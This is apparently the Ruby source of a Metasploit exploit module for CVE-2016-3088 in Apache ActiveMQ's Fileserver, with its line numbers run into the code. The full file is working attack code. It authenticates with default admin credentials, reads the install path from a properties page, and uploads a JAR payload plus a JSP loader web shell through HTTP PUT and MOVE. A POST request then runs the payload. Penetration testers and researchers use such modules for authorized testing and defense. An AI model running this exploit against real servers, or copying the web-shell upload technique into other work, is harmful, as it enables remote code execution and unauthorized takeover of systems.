Path: blob/master/modules/exploits/multi/http/apache_activemq_upload_jsp.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking7include Msf::Exploit::Remote::HttpClient8include Msf::Exploit::FileDropper910def initialize(info = {})11super(12update_info(13info,14'Name' => 'ActiveMQ web shell upload',15'Description' => %q{16The Fileserver web application in Apache ActiveMQ 5.x before 5.14.017allows remote attackers to upload and execute arbitrary files via an18HTTP PUT followed by an HTTP MOVE request.19},20'Author' => [ 'Ian Anderson <andrsn84[at]gmail.com>', 'Hillary Benson <1n7r1gu3[at]gmail.com>' ],21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2016-3088' ],24[ 'URL', 'http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt' ]25],26'Privileged' => true,27'Platform' => %w{java linux win},28'Targets' => [29[30'Java Universal',31{32'Platform' => 'java',33'Arch' => ARCH_JAVA34}35],36[37'Linux',38{39'Platform' => 'linux',40'Arch' => ARCH_X8641}42],43[44'Windows',45{46'Platform' => 'win',47'Arch' => ARCH_X8648}49]50],51'DisclosureDate' => '2016-06-01',52'DefaultTarget' => 0,53'Notes' => {54'Reliability' => UNKNOWN_RELIABILITY,55'Stability' => UNKNOWN_STABILITY,56'SideEffects' => UNKNOWN_SIDE_EFFECTS57}58)59)60register_options(61[62OptString.new('BasicAuthUser', [ true, 'The username to authenticate as', 'admin' ]),63OptString.new('BasicAuthPass', [ true, 'The password for the specified username', 'admin' ]),64OptString.new('JSP', [ false, 'JSP name to use, excluding the .jsp extension (default: random)', nil ]),65OptString.new('AutoCleanup', [ false, 'Remove web shells after callback is received', 'true' ]),66Opt::RPORT(8161)67]68)69register_advanced_options(70[71OptString.new('UploadPath', [false, 'Custom directory into which web shells are uploaded', nil])72]73)74end7576def jsp_text(payload_name)77%{78<%@ page import="java.io.*"79%><%@ page import="java.net.*"80%><%81URLClassLoader cl = new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(request.getRealPath("./#{payload_name}.jar")).toURI().toURL()});82Class c = cl.loadClass("metasploit.Payload");83c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]});84%>}85end8687def exploit88jar_payload = payload.encoded_jar.pack89payload_name = datastore['JSP'] || rand_text_alpha(8 + rand(8))90host = "#{datastore['RHOST']}:#{datastore['RPORT']}"91@url = datastore['SSL'] ? "https://#{host}" : "http://#{host}"92paths = get_upload_paths93paths.each do |path|94if try_upload(path, jar_payload, payload_name)95break handler if trigger_payload(payload_name)9697print_error('Unable to trigger payload')98end99end100end101102def try_upload(path, jar_payload, payload_name)103['.jar', '.jsp'].each do |ext|104file_name = payload_name + ext105data = ext == '.jsp' ? jsp_text(payload_name) : jar_payload106move_headers = { 'Destination' => "#{@url}/#{path}/#{file_name}" }107upload_uri = normalize_uri('fileserver', file_name)108print_status("Uploading #{move_headers['Destination']}")109register_files_for_cleanup "#{path}/#{file_name}" if datastore['AutoCleanup'].casecmp('true')110return error_out unless send_request('PUT', upload_uri, 204, 'data' => data) &&111send_request('MOVE', upload_uri, 204, 'headers' => move_headers)112113@trigger_resource = /webapps(.*)/.match(path)[1]114end115true116end117118def get_upload_paths119base_path = "#{get_install_path}/webapps"120custom_path = datastore['UploadPath']121return [normalize_uri(base_path, custom_path)] unless custom_path.nil?122123[ "#{base_path}/api/", "#{base_path}/admin/" ]124end125126def get_install_path127properties_page = send_request('GET', "#{@url}/admin/test/")128fail_with(Failure::UnexpectedReply, 'Target did not respond with 200 OK to a request to /admin/test/!') if properties_page == false129properties_page = properties_page.body130match = properties_page.match(/activemq\.home=([^,}]+)/)131return match[1] unless match.nil?132end133134def send_request(method, uri, expected_response = 200, opts = {})135opts['headers'] ||= {}136opts['headers']['Authorization'] = basic_auth(datastore['BasicAuthUser'], datastore['BasicAuthPass'])137opts['headers']['Connection'] = 'close'138r = send_request_cgi(139{140'method' => method,141'uri' => uri142}.merge(opts)143)144if r.nil?145fail_with(Failure::Unreachable, 'Could not reach the target!')146end147return false if expected_response != r.code.to_i148149r150end151152def trigger_payload(payload_name)153send_request('POST', @url + @trigger_resource + payload_name + '.jsp')154end155156def error_out157print_error('Upload failed')158@trigger_resource = nil159false160end161end162163164